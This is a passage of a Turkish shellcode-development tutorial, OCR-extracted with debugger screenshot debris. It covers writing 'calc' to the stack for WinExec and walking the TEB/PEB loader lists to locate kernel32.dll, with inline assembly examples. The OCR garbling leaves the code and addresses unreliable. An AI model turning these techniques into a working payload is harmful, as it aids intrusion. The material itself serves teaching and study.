Derlenmis kodumuzu bir de Immunity Debugger’da gorerek problemlerimizin tekrar izerinden gecelim.
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[ T T T EERSee— RS W=
Immunity Debugger - [CPU] i =
[8] File View Debug Plugins Immlib Options

| OB TE «x » 11 w43l

» Computer » Windows7 OS(C:) » ESG » 5 » Release »

[Z) Open  Newfolder

Name

stlog
I = | 58uild.CppCleanlog

c " s.exe
Il - | sido

| sidl
slog
_l snam
B s.obj 0:45 ce D 5
B s.pdb 01.05.2014 10:45 ‘
B vc20.pdb 2 5 S, D 63 KB

Address |Value ASCI |

Date modified: 01.05.2014 10:45 ated: 19.04.2014 15:28
Size: 6,00 KB

[Need support? visit http://forun.immunityinc.con/

Immunity debugger exploit gelistirme ve tersine mihendislik icin siklikla kullanilan bir debugger. Ayrica
bu debugger icin gelistirilmis ve exploit gelistirme sirecini destekleyen script’leri de destekliyor. Ancak
disassembly konusunda IDA Pro kadar iyi olmadigi icin “main” fonksiyonunu bulma konusunda IDA kadar
isimizi kolaylastirmiyor. Immunity’de ilk olarak “F9”a basarak kullanici koduna kadar ilerleyelim. IDA
Pro’dan hatirlarsaniz “main” fonksiyonumuz HEX “40 10 00” adresinden bashyordu. Tabi bunun
debugger’da da gecerli olmasi icin uygulamamizi ASLR destegi olmadan derlemistik. Disassembly
penceresinde sag klikleyerek “Go to” ve “Expression” se¢cenegine “40 10 00” adresini girerek “main”
fonksiyonumuzun basina ulasabiliriz.

[ e .. .. )
mﬂmumfy Debugger - - - - [CPU - main thread, module 5] — — — :

[€] File View Debug Plugins ImmLib Options Window Help Jobs _&]«
oS TE X P MY 1l emtwhcPkbzr..

ASCI]Comment A 567338A S3gu RE V to kernel32.7567338A |

[[11:01:051 Progran entry point Paused _
Ll——__s — — — ———————
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Immunity Debugger’in gosteriminde “Call” edilen fonksiyonun adresinin koseli parantezler icinde
bulunan adreste bulundugunu daha acik bir gosterimle goriyoruz. “Call” instruction’ina gift
tikladigimizda adres bilgisini, yani “40 20 00” adresini net olarak gorebiliyoruz.

' e I i S S e}
[&8 tmmunity Debugger - - ~~ICPU) - ot thieedl I 1 - u B e [olE] = |
[B] File View Debug Plugins ImmLib Opt Window Help &

OB TE Ax P MY 1l emtwhcPkbzr..

DS: [ECX+400018

+400074], 0E

ASCI]Comment

(T @51 Progran entry point Paused
_—————— = ——————— —— i —

Hafiza penceresinde sag klikleyerek “Go to” / “Expression” seceneginde “40 20 00” adresini yazarak
hafizada bu adreste hangi deger oldugunu goérebiliriz. Standart gosterim yerine sag klikleyip “Long” /
“Hex” secenegini secersek bu adresteki DWORD, yani 4 byte’lik adres bilgisini daha rahat gorebiliriz. Bu
adresin hangi modiliin kapladigi adres alani icinde yer aldigini gérmek icin “View” / “Memory”
penceresine goz atabiliriz. Gordigliniz gibi “76 C5” ile baslayan hafiza alani “76 BD” ile baslayan
“Kernel32.dll” modiliniln .text segmenti icinde bulunmaktadir.

-

[&8 immunity Debugger- - -
[€] File View Debug Plugins ImmLib Options Window Help Jobs

B TE X I wHEHY+ lemtwhcPkbzr..

DS: [ECX+400018]

+400074], 0E
+ 0018FF8C

| T11:81:051 Progran entry point
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¢& Immunity Debugger - - - - =

M| File View Debug Plugins Immlib Options Window Help Jobs
B TE x> I MYl lemtwhcPkbzr.s? Python Developer Wanted
Section |Contains Type|Access |Initial|Mapped as

|Graph Function
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IV. SHELLCODE PROBLEMLERI — VERI ERISiMI

Yaptigimiz analizde iki temel ihtiyag 6nlimuize gikt:

e Birincisi shellcode’umuzun ihtiyag duyacagi verileri kendimiz hafizaya yazabilmeli ve bu verilerin
adreslerini dinamik olarak bulabilmeliyiz.

e ikincisi Windows API’lerinden ihtiyac duyacagimiz fonksiyonlari cagirabilmek icin ilgili
kiitiphaneleri hafizaya ylkleyebilmeli ve bu kitliphanelerin icinde aradigimiz fonksiyonun
adresini yine dinamik olarak bulabilmeliyiz. Kullandigimiz 6rnek uygulama “WinExec”
fonksiyonunu kullandigindan kitliphane yikleme ihtiyacimiz olmayacak, ¢linki bu fonksiyonun
icinde bulundugu Kernel32.dll kitliphanesi 6ntanimli olarak tiim proses’lerin hafiza alanina
ylukleniyor. Yine de bu 6rnek lzerinde 6grenecegimiz konular kendimiz farkh bir kiitiphane
ylklemek zorunda kaldigimiz durumlar i¢in de gerekli altyapiyi bize saglayacak.

ihtiyag ve problemlerimizi belirledigimize gére shellcode’umuzu insa etmek icin yola ¢ikabiliriz.

Once basit olan birinci kisimdan baslayalim. Calistiracagimiz uygulamanin adini iceren veriyi stack
alanina yazalim ve bu verinin yazildigi adresi tespit edelim. Uygulama adini stack’e yazmak i¢cin PUSH
instruction’ini kullanacagiz. Burada zaten hafizaya istedigimiz bilgiyi yaziyoruz, uygulama adi da
yazdigimiz icerigin icinde bulunabilir neden tekrar stack’e yazacagiz diyebilirsiniz. Bunun birinci sebebi
pozisyon bagimsiz olmak, ikinci sebebi ise gelistirecegimiz shellcode’un mimkiin oldugunca jenerik
olmasina calismaktir. ASLR uygulanmasi halinde bu yontem bizim icin zorunluluk haline gelmektedir.
Ayrica ASLR uygulanmasa bile verimizi payload’umuzun icinde dogrudan hafizaya yazmamiz halinde, her
farkl uygulamada hafizaya yazdigimiz adres farklilasacagindan shellcode’umuzu her bir uygulama acikligi

|II

icin tekrar diizenlememiz gerekecektir. Ayrica sonu “null” karakterle bitecek bir veriyi shellcode’umuzun
icinde barindirmak shellcode’umuzu hafizaya yazarken probleme neden olabilir. Gergi bu noktada
olusturacagimiz shellcode’umuzun da icinde null karakterler olacak, ama PUSH instruction’i ile veriyi

hafizaya yazdigimizda null karakterlerden kacinma imkanlarimiz var.

Winexec fonksiyonuna parametre olarak verecegimiz uygulama adini stack’e yazmak igin 6ncelikle

uygulama adimizi olusturan harflerimizin onaltilik diizendeki karsiliklarini bulmamiz gerekecek. Cok
miktarda ASCII karakteri onaltilik karsiligina donistiirmek icin bir uygulama gelistirebiliriz, ancak 4

karakterlik bir metin icin HxD uygulamasi isimizi gorecektir.
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- i) File Edit Search View Analysis Extras Window ? NG
3k dies s ke [
&) Untitiea |
Offset(n) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF I
00000000 63 61 6C 63 } calc
b
Oﬁgl * Modified * Overwrite

“calc” metninin onaltilik karsilig1 “63 61 6C 63” olacaktir.
Bu asamada hatirlamamiz gereken 3 6nemli nokta var:

e Birincisi X86 mimarisinde verilerin hafizada little endian formatinda saklanmasidir. Yani veriler
byte seviyesinde hafizaya en disik degerli byte’tan baslayarak yazilir. Yalniz burada siralamanin
byte seviyesinde oldugunu hatirlatalim, bit seviyesinde degil. Bu nedenle “calc” metninin
onaltilik diizendeki karsiligini hafizaya yazarken “clac” sirasiyla yazmamiz lazim. Yani stack’e
PUSH instruction’i ile yazacagimiz deger HEX “63 6C 61 63” olacaktir.

III

e ikinci nokta C string’lerinin mutlaka “null” karakterle sonlanmasi gerektigidir. Bu nedenle stack’e
yazacagimiz string’imizin sonunda “null” karakteri yer almahdir.

e Uclincii nokta stack’in yiiksek adreslerden diisiik adreslere dogru biiyiimesi. Dolayisiyla
verilerimizi stack’e yazdigimizda “stack pointer” degeri bizim i¢in yazdigimiz verinin baslangic

noktasina isaret edecek.
Buna gore Assembly instruction’larimiz su sekilde olmal:

e push 0x20202000 (bu instruction verileri hafizaya /x00 /x20 /x20 /x20 seklinde yazacak)
e push 0x636C6163 (“clac” karakterleri hafizaya yazilacak)
e mov ebx, esp (ESP degeri EBX register’ina aktarilacak)

Bu kodumuzu inline assembly olarak ekrandaki C kodu icinde deneyelim ve ise yarayip yaramayacagini
gorelim.
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D4 - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW  HELP
©-0 B M| | b Local Windows Debugger ~ [Release -] [Win32 YA im

i
.
) |
]

Referans.c + X
(Global Scope)

-|© maing

Exploit Shellcode Gelistirme

g -

Fatih Emiral ~ [

® X

~ | Solution Explorer > 43X
@l o-2a@m| o &=

#include <stdio.h>

=int main()
{
char * veri;
__asm {
push ©x20202000
push ©x636C6163
mov veri, esp
}
printf("Stacke yazdigimiz metin: %s\n", veri);
printf("Metni yazdigimiz stack adresi: @x%x", veri);
getchar();

ErrorList  Output

R
eady

D4 ¢ (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop

FLE EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS TEST
(B SR
Process: | [7504] r.exe

WINDOW  HELP

i
o
) |

ned | % iR |

Stack Frame:

Continue ~ M

Memory 1 .
imiz metin: calc
miz stack adresi: 0x30f95c

Disassembly
(Global Scopt

Locals REFTEEEY Call Stack Immediate Window

Ready
4

bkl o

Search Solution Explorer (Ctrl+g) P~
131 Solution 'r' (1 project)
4 B
by External Dependencies
5 Header Files

4 Resource Files
4 4l SourceFiles
b+ Referans.c

|

main VCCodeFunction -
= F
B Ces -
(Name) main
File G\esg\kaynakireferans.
FullName main
IsDefauit False
IsDelete False

IsFinal False
e False
Falea

sl o=

Pl - & x

Fatih Emiral ~ i3

Gorduginiz gibi kodun icinde veri olarak tanimlanmamis bir veriyi stack’e yazdik ve adresini elde

ettikten sonra ekrana yazdirabildik.
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V. MODUL ADRESININ BULUNMASI

Hafizaya veri yazmak ve bu verinin referans adresini tespit etmek isin kolay kismiydi. Simdi gelelim
ihtiyac duydugumuz Windows API’sinin adresini bulmaya. Bu konuda hemen kodlamaya gegmeden dnce
ciddi bir teorik altyapimiz olmasi gerekiyor. Bu adimda Export tablolarini derin bir sekilde inceleyecegiz.
Ayrica teorik bilgimizi binary debugger araciligi ile de test edecegiz. Tim islem adimlarimizi
netlestirdikten sonra sira assembly kodumuzu gelistirmeye gelecek.

Oncelikle Kernel32.dIl'in hafizadaki adresini bulmamiz lazim. Ciinkii WinExec fonksiyonu ve prosesi
problemsiz bir bicimde sonlandirmak igin ihtiya¢ duyacagimiz ExitProcess fonksiyonu Kernel32.dll
modll icinde yer aliyor. Kernel32.dll'in her Windows prosesi icin hafizada hazir bulundugunu
soylemistik. Eger exploit edecegimiz proses hafizasinda hazir bulunmayan bir modili yiklememiz
gerekseydi yine Kernel32.dll iginde bulunan LoadLibrary fonksiyonuna ihtiyacimiz olacakti. Yani baslangig
noktamiz yine Kernel32.dIlI’in adresinin bulunmasi olacakti. LoadLibrary fonksiyonu hafizaya yikledigi
modlin adresini dondiirdigliinden bu moduli aramak igin ¢aba sarfetmemiz kalmayacakti. Bu
ornegimize 6zgl olmak Uzere sadece Kernel32.dll icinde bulunan fonksiyonlari kullanacagiz.

Bu amacimiza ulasabilmek igin isletim sisteminin yikledigi prosesle ilgili hafizada barindirdigi veri
yapilarindan faydalanacagiz. Once bu yapilari biraz taniyalim.

Burada so6ziini edecegimiz veri yapilari ve bilgiler X86 mimarisine 6zglidir. 64 bit’lik prosesler icin

gecerli degildir.

btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI

THREAD ENVIRONMENT BLOCK (TEB)

e Adim-1: PEB’in adresinin bulunmasi

0:000> lteb
TEB at 7efddeee
fs:[0] — ExceptionList: 00261814
StackBase: 062700006
StackLimit: 00262000
SubSystemTib: 000000006
FiberData: ©0001e60
ArbitraryUserPointer: 96000000
0x30 Self: 7efddeee
EnvironmentPointer: 0000000
ClientId: 00001920 . 66081928
RpcHandle: 00000000
Tls Storage: 7efddé2c
fs:[30] —) PEB Address: 7efdeoo0
LastErrorValue: 2]
LastStatusValue: e
Count Owned Locks: e
HardErrorMode: e
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izleyecegimiz temel strateji hafizadaki veri yapilarinda bulunan pointer bilgilerini kullanarak iz siirmek ve
nihayetinde Kernel32.dll'in hafizadaki adres bilgisine ulasmak olacak.

Baslangi¢c noktamiz FS segment register’i tarafindan isaret edilen Thread Environment Block (TEB)
olacaktir. Bu veri yapisi mevcut thread ile ilgili bilgileri barindirir.

TEB yapisinin HEX “30” offset adresinde Process Environment Block (PEB) yapisinin adresi yer alir. PEB
veri yapisi igletim sisteminin kullanimina has bir veri yapisi olup Microsoft tarafindan tamami
dokimante edilmemistir. PEB adindan da anlasilacagi Gzere tiim prosese iliskin meta bilgileri icerir.
Windbg ile ylkledigimiz bir proses icin PEB yapisina “Ipeb” komutuyla goz atabiliriz. Veri yapisini daha
actk gérebilmek igin 6nce “dd fs:[30]” komutuyla PEB’in adresini, daha sonra da “dt nt!_peb adres”

komutuyla PEB’in yapisini gorebiliriz.

btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI
PROCESS ENVIRONMENT BLOCK (PEB)
* Adim-2: PEB_LDR_DATA veri yapisinin bulunmasi

©:860> dt nt!_peb 7efdebo®

ntdll!_PEB
fs:[30] — +0x000 InheritedAddressSpace : @ ''
+0x001 ReadImageFileExecOptions : & ''
+0x002 BeingDebugged cex1 !
+0xee3 BitField : ex8 '
+0x003 ImageUseslLargePages : Qye@
+0x883 IsProtectedProcess : 8y®@
+0x003 IslegacyProcess : Qy@
+0x003 IsImageDynamicallyRelocated : Oyl
+0x803 SkipPatchingUser32Forwarders : oye

0xOc

+0x803 SpareBits : Oyeee

+0x804 Mutant 1 exffffffff Void

+0x008 ImageBaseAddress : ©x©1380600 Void

+0x080c Ldr 1 ©x77240200 _PEB_LDR_DATA
+6x016 ProcessParameters : 0x062f2178 _ .

PEB veri yapisi isletim sisteminin kullanimina has bir veri yapisi olup Microsoft tarafindan tamami
dokimante edilmemistir. PEB adindan da anlasilacagi Gzere tiim prosese iliskin meta bilgileri icerir.
Windbg ile yiikledigimiz bir proses icin PEB yapisina “Ipeb” komutuyla gbz atabiliriz. Veri yapisini daha
acik gérebilmek igin 6nce “dd fs:[30]” komutuyla PEB’in adresini, daha sonra da “dt nt!_peb adres”
komutuyla PEB’in yapisini gorebiliriz.

PEB veri yapisinin HEX “Oc” offsite adresinde _PEB_LDR_DATA veri yapisinin adresi bulunur.
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btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI

_PEB_LDR_DATA

* Adim-3: Modul zincir listelerinin bulunmasi

©:000> dt _PEB_LDR_DATA ©x77240200
ntdll!_PEB_LDR_DATA

+8x006 Length : Bx3e
+0x004 Initialized cex1 !
+0xP08 SsHandle : (null)
Oxlc +0x00c InLoadOrderModulelList : _LIST_ENTRY [ ex2f4cf8 -
ox2f5990 ]
+0x014 InMemoryOrderModulelList : _LIST_ENTRY [ ©x2f4dee
- Ox2f5998 ]

+0x01c InInitializationOrderModuleList : _LIST_ENTRY [
ox2f4d98 - ex2f59a@ ]

+0x024 EntryInProgress : (null)

+6x028 ShutdownInProgress : & ''

+0x82¢ ShutdownThreadId : (null)

_PEB_LDR_DATA veri yapisinin iginde ylkleme sirasina, hafizadaki adres siralamasina ve baslatiima
sirasina gére moddl listelerini isaret eden _LIST_ENTRY veri yapilari bulunur. Bu modil listeleri linked list
(yani zincir veri listeleri) seklinde birbirlerini ileriye ve geriye dogru isaret eden adres alanlari barindirir.
Bu adresler sayesinde zincirde ileriye veya geriye dogru ilerleme imkani bulunmaktadir. ilk adres bdlimii
forward link yani ileri link adresini barindirir, daha sonra gelen 4 byte’lik bolim de backward link yani
geriye link adresini igerir.
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btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI

MODUL ZiNCIR LISTESI

* Adim-4: Baslatilma sirasina gore modiil zincir listesinin izlenmesi

a ©:000> dt _LIST_ENTRY ©x7724021c
ntdll!_LIST_ENTRY

[ ©x2f4d98 - ©x2f59a@ ]
+0x000 Flink : ©x002f4d98 _LIST_ENTRY [ ©x2f5230 - ©x7724021c ]

+0x004 Blink : ©x@02f59a@ _LIST_ENTRY [ ©x7724021c - ©x2f5118 ]

©:000> dt _LIST_ENTRY ©6xee2f4do8

ntdll! LIST_ENTRY
[ Ox2f5230 - ©x7724021c ]

+0x000 Flink : Ox002f5230 _LIST ENTRY [ Ox2f5118 - ©x2f4d9s ]

+0x004 Blink : ©x7724021c _LIST_ENTRY [ ©x2f4d98 - @x2f59a0 ]

©:000> dt _LIST_ENTRY ©x@02f5230
ntdll!_LIST_ENTRY
[ ex2f5118 - ©x2f4d98 ]
+0x000 Flink : ©x082f5118 _LIST_ENTRY [ ©x2f59a@ -lf 230
+0x004 Blink : ©x082f4d98 _LIST_ENTRY [ ©x2f523@ -

PEB Loader Data’nin HEX “1C” adresinde baslatiima sirasina gére moddil zincir listesinin ilk ileri link
adresi bulunur. Bu adreste yer alacak ilk modil entry’si yani modul veri yapisi da yine kendisinden bir
sonra gelen modl veri yapisinin adresini icerir. Zincir ilk basta liste adresini ilk okudugumuz adresi isaret

ettiginde sonlanir, yani ileri link adresleri bir cember olusturur.
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btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI

MODUL ADI

* Adim-5: Modul adinin bulunmasi

©:000> dd oxee2f4de8 + 20
ee2f4dbg8 77185bc4 ©eee4604 eeeeffff e82f59cc
002f4dc8 772448e0 52leaBe’7 00000000 00000600

9:000> db 77185bc4
77185bc4 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c @0 n.t.d.1l.1...d.1.

77185bd4 6¢c 00 0@ 00 14 00 16 00-ed® 5b 18 77 5c @0 53 @0 l........ [.w\.S.
77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 VY.S.T.E.M.3.2.\.
77185bf4 0@ 0@ 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 ......... U..QQ.e

77185c04 fc @0 53 56 8b 35 @c 02-24 77 57 81 fe ©c 82 24 ,.SV.5..%uwW....%
77185c¢14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wtl.E.Pj....6J..

Baslatilma sirasina gore olusturulmus modil entry’lerinin HEX “20” offset adresinde UNICODE
formatinda modiil ismi bulunmaktadir. UNICODE formatinda bildiginiz gibi her bir karakter 2 byte’lik bir
alanla ifade edilir.

Sunum Uzerinde anlattigim bu yolu Immunity Debugger zerinde izleyelim. Sizlerde ayni islemi
gerceklestirirseniz hafiza Gzerindeki veri yapilarina daha hakim olursunuz.

Immunity debugger’da herhangi bir uygulamayi yukleyelim.

CPU ana ekraninin Dump bolimiine sag klikleyerek veri gdsterim formatini Long / Address formatina
cevirelim.
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" ""T[CPU - ma d, module ntdll]
[€] File View Debug Plugins Immlib Options Window Help Jobs
OSHEIE X » ML 1l emtwhcPkbzr.s ? Python Developer Wanted

*|Registers (FPU)

EA g

Backup
Search for

Goto

Hex
Tet

Short

Long Signed decimal
Float Unsigned decimal

Disassemble Hex

Specis Address 1 ABRABET e = MR ‘
Addr&wxlhASCﬂdump GOLBEFFC. 00000000 ... .

Appearance
Address with UNICODE dump

+ 0018FFFO

[[12:16:151 Single step event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception to program [Paused =
= =——— S =

Daha sonfa Ctrl+G ile fs:[30] adresinde bulunan veri alanina gecelim.

% EIE x » I e 4 Python Developer Wanted
775201B8 5C24 *|Registers (FPU)

EA 4 9

| [12:16:157 Single step event at ntdl11.?75201B8 — use Shift+F?/F8/F9 to pass exception to program Paused

Gelen bilgilerin en Ust sirasinda sol tarafta adres alanina cift tikladigimizda adres formati offset
formatina dénisecektir. PEB veri yapisinin HEX “Oc” adresinde PEB Loader Data veri yapisinin adresini
gorebiliriz.
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i i TCPU “maim thread, module otdl

[€] File View Debug Plugins Immlib Options Window Help Jobs

OB EIE ax » il 1l emtwhcPkbzr..
775201B8 C24 08

Paused

et2 2 22 [CPU - main thes d
[€] File View Debug Plugins Immlib Options Window Help Jobs
OB TIE x> I MY lemtwhcPkbzr..
775201B8 5C24 08 g

Paused

| [12:16:151 Single step event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception to program

Bu adresinde Uzerinde cift tikladigimizda adres formati tekrar offset formatina déntisecek. Burada HEX
“1c” adresinde baslatilma sirasina gore moddil listesinin ilk bileseninin adresini gbrecegiz.

Burada yine veri alaninin tzerinde sag klikleyerek “Follow in Dump” dedigimizde modil bileseniyle ilgili

veri alanina ulasacagiz.
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b Debugge [CPU threz td

[€] File View Debug Plugins Immlib Options Window Help Jobs

oS CIE «ax» I w¥HlEY 1l emtwhcPkbzr..
775201B8 C24 08 1

+ 0018FFFO

[[12:16:151 Single step event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception to program Paused =l
=_—_ == —— — — —— — ——— ————

Yine ilk adres lzerinde cift tiklayalim. Gordiigiiniz gibi HEX “20” offset’te modul adi gorillyor.

cbugger: - - [CPU - main thread, module ntdll]
[€] File View Debug Plugins ImmLib Options Window Help Jobs
OBCIE X p I s lemtwhcPkbzr.
775201B8 5C24 08

FO

| [12:16:151 Single step event at ntd B1B8 — use Shift+F?/F8/F9 to pass exception to program
— e

Burada gorilen aslinda modul adinin tutuldugu alanin adresi. Bu veri lizerinde tekrar sag klikleyerek
“Follow in Dump” diyelim. Bu alana geldigimizde veri gosterim seklini Dump ekrani izerinde sag
klikleyerek Text / Unicode’a donustiurdigiimizde modil adini gérecegiz. Immunity Debugger adresin bir
veriye isaret ettigini anlayacak kadar akilli oldugundan bir 6nceki adimda adresin isaret ettigi veriyi de
yaninda gosterdi.
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A D [CPU threz td

[€] File View Debug Plugins ImmLib Options Window Help Jobs

OBEE «@x» i el 1l emtwhcPkbzr.s ? From INFILTRATE 2013 Stephen Watt's Keynote is up!
08 i * | Registers (FPU)

775201B8

[T12:16:151 Single step event at ntdll.?775201B8 — use Shift+F?/F8/F9 to pass exception to program Paused
—_— —— — ——— — —— — ——— ———— ||

“-“tuslariyla tekrar ilk modiil bileseni veri alanina donelim. Burada ilk alandaki veri zincir listedeki bir
sonraki modile isaret ediyor. Bu veri lizerinde sag klikleyerek bu adrese gidelim. Gorduglnz gibi
zincirdeki bir sonraki moddl ile ilgili verileri gbrebiliyoruz. Bu sekilde ilerleyerek bize ilk bilesenin adresini

veren veri alanina ulastigimizda zincirin tamaminin tizerinden ge¢mis oluruz.

t Immunity D - - == [CPU - main thre

[€] File View Debug Plugins ImmLib Options Window Help Jobs

OHCIE ax» i ML lemtwhcPkbzr..
775201B8 5C24 08

Comment + 0018FFF0

F

Paused

| [12:16:151 Single step event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception to program

Amacimiza, yani modil adresini bulmaya tekrar geri dénersek, bu zincir listenin icinde dogru bileseni
tespit ettigimizde bu bilesen alani icinde HEX “8” offset adresinde ilgili modiliin baslangi¢ adresini

gorebiliriz.
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+ 0018FFFO

Ayni islemi bir uygulama araciligi ile de yapabiliriz. Bu uygulama tabi sadece kendi modiillerinin adlarini

bize listeleyecek ki fazla bir modul yliklemedigini gorecegiz.

VLCoOoONOTUVTDE WNERE

[
WNRO-

14.
15.
16.
17.
18.
19.
20.
21.

22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.

#tinclude <stdio.

int main()

{

h>

char *modulAdi;
int ilkAdres;

int flink;

_asm {
pushad
mov
mov
mov
adresi
mov
mov
mov
mov
mov

esi, fs:[0x30]; PEB adresi
esi, [esi + ©x0c]; PEB LOADER DATA adresi

esi, [esi + @x1c]; Baslatilma sirasina gore modil listesinin baslangig¢

ilkAdres, esi; ilk liste bileseninin adresi

ecx, [esi]

flink, ecx; ilk liste bileseninin flink degeri

ebx, [esi + 0x20]; ebx = InInitOrder[@].module_name(unicode)
modulAdi, ebx; Modiil adinin adresi

popad

while (flink != ilkAdres){ //son bilesenin flink degeri PEB-
>Ldr.InInitOrder List Entry veri yapisina isaret eder
wprintf(L"%s\n", modulAdi);

__asm {

pushad

}

getchar();

mov esi, [flink]; Bir sonraki liste bileseninin adresi

mov ecx, [esi]; Bir sonraki liste bileseninin flink degeri
mov flink, ecx

mov ebx, [esi + Ox20]; Modiil adi(unicode formatinda)

mov modulAdi, ebx; Modiil adinin adresi

popad
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ModullListele.c

Uygulamanin birinci inline assembly bolimiinde amacimiz baslatiima sirasina goére ilk modilin adi ve
adresini bulmak.

ikinci inline assembly béliimiinde ise zincir listeyi takip ederek listenin basina déniinceye kadar tiim
modaiillerin adlari ve adreslerine ulasiyoruz.

ilk adimda FS register'inin HEX 30 offset’inde Process Environment Block alaninin adresini ESI
register’ina aktariyoruz.

PEB’in HEX Oc offset’inde bulunan adresi yani PEB_LOADER_DATA yapisinin adresini ESI register’ina
aktariyoruz.

PEB_LOADER_DATA veri yapisinin HEX 1C offset’inde baslatiima sirasina gore modiillerle ilgili meta veri
yapilari zincirinin ilk halkasinin adresi bulunmaktadir. ilk bilesenin adresini zinciri tamamladigimizi tespit
etmek amaciyla bir C degiskenine kaydediyoruz.

Daha sonra ilk liste bileseninin adresine geciyoruz. Bu veri yapisinin HEX 20 offset’inde moddl adinin
UNICODE formatinda tutuldugu alanin adresi bulunuyor. C uygulamamizla bu adi yazdirmak icin modil
adinin adresini modulAdi C degiskenine aktariyoruz.

ilk inline assembly bdlimii tamamlandiktan sonra bir déngiiniin iginde tiim zinciri tamamlayarak modiil
adlarini standart output’a yaziyoruz.

Simdi uygulamamizi derleyelim ve uygulamanin son satirina breakpoint koyarak ¢alistiralim.

Dq ModulListele (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW  HELP
e-2] o PN Contin clease 32 LA i m ®|

baslangi¢ adresi

8 &CXT =6 = Jege
mov ebx, [esi + ©x20]; ebx = InInitOrder[@].module_name(unicode)
mov modulAdi, ebx; Modiil adinin adresi

popad

No data available

Locals LEFIEEEY Call Stack Immediate Window

Gordiginiz gibi bu basit uygulamanin hafiza alaninda yikli moddl isimleri ekrandakilerden olusuyor.
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VI. FONKSIYON ADRESININ BULUNMASI

Modyiliin baslangi¢ adresini elde etmek ve saklamak igin assembly kodumuzu gelistirecegiz. Ancak
bundan 6nce bir problemimiz daha var. Modiil icinde kullanmak istedigimiz fonksiyonun adresini de

bulmaliyiz.

Bir moduliin igindeki belli bir fonksiyonun adresini bulmak istedigimizde hangi yolu izleyebilecegimizi

PEView Uzerinden Kernel32.dll dosyasi lizerinde inceleyelim.

View Go

Help
20000 vEx#|[E==

[ = CemeEzED
I ~IMAGE_DOS_HEADER

1~ MS-DOS Stub Program
& IMAGE_NT_HEADERS
|- IMAGE_SECTION_HEADER text
i~ IMAGE_SECTION_HEADER .data
i~ IMAGE_SECTION_HEADER .rsrc
i~ IMAGE_SECTION_HEADER reloc
- SECTION _text
i~ SECTION .data
- SECTION .rsrc
- SECTION .reloc

pView
00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000030
000000A0
00000080
000000C0
00000000
000000E0
000000F0
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180
00000190
000001A0
000001B0
000001CO
000001D0
000001E0
000001F0
00000200
00000210
000NN

Raw Data

4D 5A 90 00 03 00 00 00
B8 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
OE 1F BA OE 00 B4 09 CD
69 73 20 70 72 6F 67 72
74 20 62 65 20 72 75 6E
6D 6F 64 65 2E 0D 0D 0A
09 67 18 F6 4D 06 76 A5
44 TE E5 A5 7C 06 76 A5
44 TE E4 A5 4C 06 76 A5
44 TE F5 A5 B1 06 76 A5
44 TE E2 A5 4C 06 76 A5
52 69 63 68 4D 06 76 AS
00 00 00 00 00 00 00 00
85 9A 15 53 00 00 00 00
0B 01 09 00 00 00 0D 00
93 32 01 00 00 00 01 00
00 00 01 00 00 00 01 00
06 00 01 00 00 00 00 00
AE 05 11 00 03 00 40 01
00 00 10 00 00 10 00 00
70 FF 0B 00 B1 A9 00 00
00 00 OF 00 28 05 00 00
00 00 00 00 00 00 00 00
34 07 0D 00 38 00 00 00
00 00 00 00 00 00 00 00
10 35 08 00 40 00 00 00
00 00 01 00 FO OD 00 00
00 00 00 00 00 00 00 00
2E 74 65 78 74 00 00 00
00 00 0D 00 00 00 01 00
00 00 00 00 20 00 00 60
0C 10 00 00 00 00 OE 00

0n_nn_an_nn_nn nn_nn_nn_

Wg'ég kernel32.dII

04 00 00 00 FF FF 00 00
40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 E8 00 00 00 .. ...

21 B8 01 4C CD 21 54 68
61 6D 20 63 61 6E 6E 6F
20 69 6E 20 44 4F 53 20
24 00 00 00 00 00 00 00
4D 06 76 A5 4D 06 76 A5
4D 06 77 A5 3E 05 76 A5
44 TE E3 A5 45 06 76 A5
44 TE F2 A5 AE 06 76 A5
44 TE ET A5 4C 06 76 AS
00 00 00 00 00 00 00 00

50 45 00 00 4C 01 04 00 ...

00 00 00 00 EO 00 02 21

00 00 03 00 00 00 00 00 .

00 00 0D 00 00 00 D6 7D
06 00 01 00 06 00 01 00
00 00 11 00 00 00 01 00

........ L L. ATh
is program canno
t be run in DOS

$

mode.

00 00 04 00 00 10 00 00 ...

00 00 00 00 10 00 00 00
24 A3 0C 00 F4 01 00 00

00 00 00 00 00 00 00 00 .

00 00 10 00 9C AD 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
96 07 0C 00 00 00 01 00
00 00 00 00 00 00 00 00
2E 64 61 74 61 00 00 00
00 00 01 00 00 00 OE 00
00_00 00 a0 A0 00 an Cn

-

Kernel32.dll dosyasi iginde arayacagimiz adres, WinExec fonksiyonunun adresi. Su anda Kernel32.dIl'in

disk Gizerindeki imajina bakacagiz. Ancak izleyecegimiz yol bu modiil hafizaya yliklendiginde de gecerli

olacak. Sadece imaj lizerindeki adresler RVA, yani Relative Virtual Address’ler olacagl igin kullanacagimiz

referanslara modilin hafizaya ylklendigi baslangi¢ adresini ekleme ihtiyacimiz olacak.
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/indows\System32\kernel32.d
file View Go Help
20000 | wE*#|[E= =
